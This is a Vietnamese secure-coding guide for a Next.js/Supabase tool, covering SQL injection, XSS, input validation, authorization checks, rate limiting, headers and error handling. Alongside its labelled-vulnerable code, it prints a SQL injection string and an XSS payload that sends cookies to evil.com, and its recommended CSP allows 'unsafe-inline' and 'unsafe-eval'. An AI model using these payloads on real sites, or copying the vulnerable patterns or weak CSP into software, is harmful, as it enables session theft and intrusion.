Cách Mình Bảo Mật Ứng Dụng

Bảo vệ khỏi các lỗ hổng phổ biến - OWASP top 10, injection, validation

Một lỗ hổng trong công cụ của mình có thể lộ dữ liệu khách hàng, API key, hoặc trở thành điểm tấn công cho cả hệ thống. Bảo mật không phải thứ tùy chọn -- mà là điều kiện tiên quyết.

Tư duy cốt lõi: Giả định mọi input đều độc hại. Validate mọi thứ. Không tin gì từ client.

OWASP Top 10

OWASP (Open Web Application Security Project) duy trì danh sách các rủi ro bảo mật ứng dụng web nghiêm trọng nhất. Không cần thuộc lòng cả 10, nhưng mấy cái sau thì phải nắm:

Rủi roNó Là GìMức Độ Ảnh Hưởng
InjectionDữ liệu độc hại trong queryCao (database, API)
Broken AuthAuthentication yếuTrung bình
Sensitive Data ExposureLộ secret, dữ liệuCao
XSSScript độc hại trong trangTrung bình
Broken Access ControlTruy cập dữ liệu người khácCao
Security MisconfigurationCấu hình saiTrung bình
CSRFBị lừa thực hiện hành độngThấp (dạng API)

SQL Injection

Cách Tấn Công

Kẻ tấn công chèn SQL code qua input field. Đơn giản đến mức đáng sợ:

// LỖ HỔNG: Nối chuỗi
const query = `SELECT * FROM users WHERE email = '${email}'`;

// Nếu email là: ' OR '1'='1
// Query thành: SELECT * FROM users WHERE email = '' OR '1'='1'
// Trả về TẤT CẢ user!

Phòng Chống

Luôn dùng parameterized query:

// AN TOÀN: Parameterized query với Supabase
const { data } = await supabase
  .from('users')
  .select('*')
  .eq('email', email);

// AN TOÀN: Nếu dùng raw SQL
const { data } = await supabase.rpc('get_user', { user_email: email });

// Trong function:
// SELECT * FROM users WHERE email = $1

Checklist

  • Không bao giờ nối input user vào SQL
  • Dùng Supabase client method (chúng đã được parameterize)
  • Dùng stored procedure cho query phức tạp
  • Validate kiểu dữ liệu input trước khi query

XSS (Cross-Site Scripting)

Cách Tấn Công

Kẻ tấn công chèn JavaScript chạy trong trình duyệt của user khác. Nghe thì xa vời, nhưng chỉ cần một chỗ hiển thị input user mà không escape là dính:

<!-- Nếu mình hiển thị input user trực tiếp -->
<div>{userComment}</div>

<!-- Kẻ tấn công gửi: -->
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>

<!-- Script này chạy trong trình duyệt mọi user xem trang -->

Phòng Chống

React escape mặc định, nhưng cẩn thận với:

// LỖ HỔNG: dangerouslySetInnerHTML
<div dangerouslySetInnerHTML={{ __html: userContent }} />

// AN TOÀN: Để React escape
<div>{userContent}</div>

// Nếu BẮT BUỘC render HTML, sanitize trước:
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userContent) }} />

Các Vector XSS Phổ Biến

VectorPhòng chống
Nội dung HTMLSanitize hoặc escape
URL parameterValidate, encode
Giá trị CSSWhitelist giá trị cho phép
JavaScript URLChặn protocol javascript:

Ví Dụ Thực Tế: Hiển Thị Keyword Của User

Mình có Keyword Clustering tool -- user upload CSV chứa keyword. Nếu một keyword là <script>alert('xss')</script> thì sao?

// AN TOÀN: React escape mặc định
{keywords.map(k => <div key={k.id}>{k.text}</div>)}

// LỖ HỔNG: Nếu render ngoài ngữ cảnh React
element.innerHTML = keyword; // ĐỪNG LÀM THẾ NÀY

React đã lo phần escape rồi, nhưng cứ dùng innerHTML trực tiếp là mất hết.

Input Validation

Validate Mọi Thứ

Nguyên tắc đơn giản: đừng tin bất cứ gì client gửi lên. Dùng Zod để định nghĩa schema rõ ràng:

import { z } from 'zod';

// Định nghĩa cấu trúc mong đợi
const KeywordUploadSchema = z.object({
  keywords: z.array(z.string().min(1).max(500)).min(1).max(10000),
  options: z.object({
    minClusterSize: z.number().min(2).max(100).default(5),
    model: z.enum(['text-embedding-3-small', 'text-embedding-3-large']),
  }),
});

// Validate trong API route
export async function POST(request: Request) {
  const body = await request.json();

  const result = KeywordUploadSchema.safeParse(body);
  if (!result.success) {
    return Response.json(
      { error: 'Invalid input', details: result.error.flatten() },
      { status: 400 }
    );
  }

  // Giờ result.data đã được type và validate
  const { keywords, options } = result.data;
}

Quy Tắc Validation

Kiểu InputValidate
StringGiới hạn độ dài, ký tự cho phép
NumberGiá trị min/max, integer hay float
ArrayGiới hạn độ dài, validate từng phần tử
EnumChỉ giá trị cho phép
URLWhitelist protocol, validate domain
FileKích thước, loại, nội dung

Bảo Mật Upload File

Upload file là chỗ hay bị bỏ qua. Đừng chỉ tin Content-Type header -- phải kiểm tra kỹ:

// Validate file upload
const MAX_FILE_SIZE = 5 * 1024 * 1024; // 5MB
const ALLOWED_TYPES = ['text/csv', 'application/json'];

export async function POST(request: Request) {
  const formData = await request.formData();
  const file = formData.get('file') as File;

  // Kiểm tra kích thước
  if (file.size > MAX_FILE_SIZE) {
    return Response.json({ error: 'File too large' }, { status: 400 });
  }

  // Kiểm tra loại file (đừng chỉ tin Content-Type header)
  if (!ALLOWED_TYPES.includes(file.type)) {
    return Response.json({ error: 'Invalid file type' }, { status: 400 });
  }

  // Parse và validate nội dung
  const content = await file.text();
  // ... validate cấu trúc CSV/JSON
}

Kiểm Tra Authorization

Mọi Endpoint Cần Auth Check

Đây là pattern mình dùng cho mọi API route có dữ liệu user:

export async function GET(
  request: Request,
  { params }: { params: { id: string } }
) {
  // 1. Xác minh user đã authenticated
  const session = await getSession(request);
  if (!session) {
    return Response.json({ error: 'Unauthorized' }, { status: 401 });
  }

  // 2. Xác minh user sở hữu tài nguyên này
  const { data: job } = await supabase
    .from('clustering_jobs')
    .select('*')
    .eq('id', params.id)
    .eq('user_id', session.user.id)  // QUAN TRỌNG: Filter theo user
    .single();

  if (!job) {
    // Trả 404, không phải 403 (đừng tiết lộ sự tồn tại)
    return Response.json({ error: 'Not found' }, { status: 404 });
  }

  return Response.json(job);
}

Điểm mấu chốt là dòng .eq('user_id', session.user.id) -- bỏ dòng này là User A xem được job của User B ngay.

Sai Lầm Authorization Hay Gặp

// SAI: Chỉ kiểm tra authentication
const session = await getSession(request);
if (!session) return unauthorized();

// Rồi fetch mà không filter theo user
const job = await supabase.from('jobs').select().eq('id', id).single();
// User A truy cập được job của User B!

// ĐÚNG: Luôn filter theo user
const job = await supabase
  .from('jobs')
  .select()
  .eq('id', id)
  .eq('user_id', session.user.id)
  .single();

Rate Limiting

Không có rate limiting thì API giống như cửa hàng tự phục vụ mà không ai trông -- ai muốn lấy bao nhiêu cũng được:

// Rate limiting đơn giản trong memory (dùng Redis cho production)
const rateLimits = new Map<string, { count: number; resetAt: number }>();

function checkRateLimit(ip: string, limit = 100, windowMs = 60000): boolean {
  const now = Date.now();
  const record = rateLimits.get(ip);

  if (!record || now > record.resetAt) {
    rateLimits.set(ip, { count: 1, resetAt: now + windowMs });
    return true;
  }

  if (record.count >= limit) {
    return false; // Bị rate limit
  }

  record.count++;
  return true;
}

export async function POST(request: Request) {
  const ip = request.headers.get('x-forwarded-for') || 'unknown';

  if (!checkRateLimit(ip)) {
    return Response.json(
      { error: 'Too many requests' },
      { status: 429, headers: { 'Retry-After': '60' } }
    );
  }

  // Xử lý request...
}

Security Header

Cấu hình trong next.config.js:

const securityHeaders = [
  {
    key: 'X-Content-Type-Options',
    value: 'nosniff',
  },
  {
    key: 'X-Frame-Options',
    value: 'DENY',
  },
  {
    key: 'X-XSS-Protection',
    value: '1; mode=block',
  },
  {
    key: 'Referrer-Policy',
    value: 'strict-origin-when-cross-origin',
  },
  {
    key: 'Content-Security-Policy',
    value: "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline';",
  },
];

module.exports = {
  async headers() {
    return [
      {
        source: '/:path*',
        headers: securityHeaders,
      },
    ];
  },
};

Bảo Mật Xử Lý Lỗi

Đừng Lộ Thông Tin

Lỗi trả về cho user càng chung chung càng tốt. Chi tiết thì log phía server:

// SAI: Lộ chi tiết nội bộ
catch (error) {
  return Response.json({
    error: error.message,  // Có thể lộ SQL, đường dẫn, v.v.
    stack: error.stack,    // Tiết lộ cấu trúc code
  }, { status: 500 });
}

// ĐÚNG: Lỗi chung, log chi tiết phía server
catch (error) {
  console.error('Clustering thất bại:', error);  // Log để debug
  return Response.json(
    { error: 'An error occurred. Please try again.' },
    { status: 500 }
  );
}

Error Message Cho Ai Thì Viết Kiểu Đó

Đối tượngHiển thị gì
User"Có lỗi xảy ra. Vui lòng thử lại."
Developer (log)Lỗi đầy đủ với stack trace
API consumerError code, message ngắn gọn, không lộ nội bộ

Sai Lầm Phổ Biến

Tin validation phía client

Dấu hiệu: Validation chỉ trong JavaScript, server không kiểm tra gì cả.

Cách sửa: Validation client chỉ để UX cho đẹp thôi, bảo mật thật phải ở server.

Dùng user ID từ request body

Dấu hiệu: const userId = request.body.userId

Cách sửa: Lấy user ID từ session. Client gửi ID gì lên thì kệ -- không tin.

Log dữ liệu nhạy cảm

Dấu hiệu: console.log(user) mà object user chứa cả password, token.

Cách sửa: Sanitize log. Không bao giờ log password, token, hay API key đầy đủ. Đến lúc bị lộ log mới hối thì muộn.

Hardcode secret trong code

Dấu hiệu: const API_KEY = "sk-..." nằm chình ình trong source code.

Cách sửa: Dùng environment variable. Xem Cách Mình Quản Lý Secrets.

Security Checklist

Trước khi ship, kiểm tra lại:

  • Mọi input được validate bằng Zod hoặc tương tự
  • SQL query được parameterize (không nối chuỗi)
  • Nội dung user được escape hoặc sanitize
  • Auth check trên mọi endpoint được bảo vệ
  • Tài nguyên được filter theo user_id
  • Rate limiting đã được triển khai
  • Security header đã cấu hình
  • Lỗi không lộ chi tiết nội bộ
  • Không có secret trong code hoặc log

Tham Khảo Nhanh

Kiểu tấn côngPhòng chống
SQL InjectionParameterized query
XSSEscape output, sanitize HTML
Auth BypassKiểm tra session mỗi request
IDOR (truy cập dữ liệu người khác)Filter theo user_id
Brute ForceRate limiting
Data ExposureValidate output, ẩn nội bộ

Tài Liệu Tham Khảo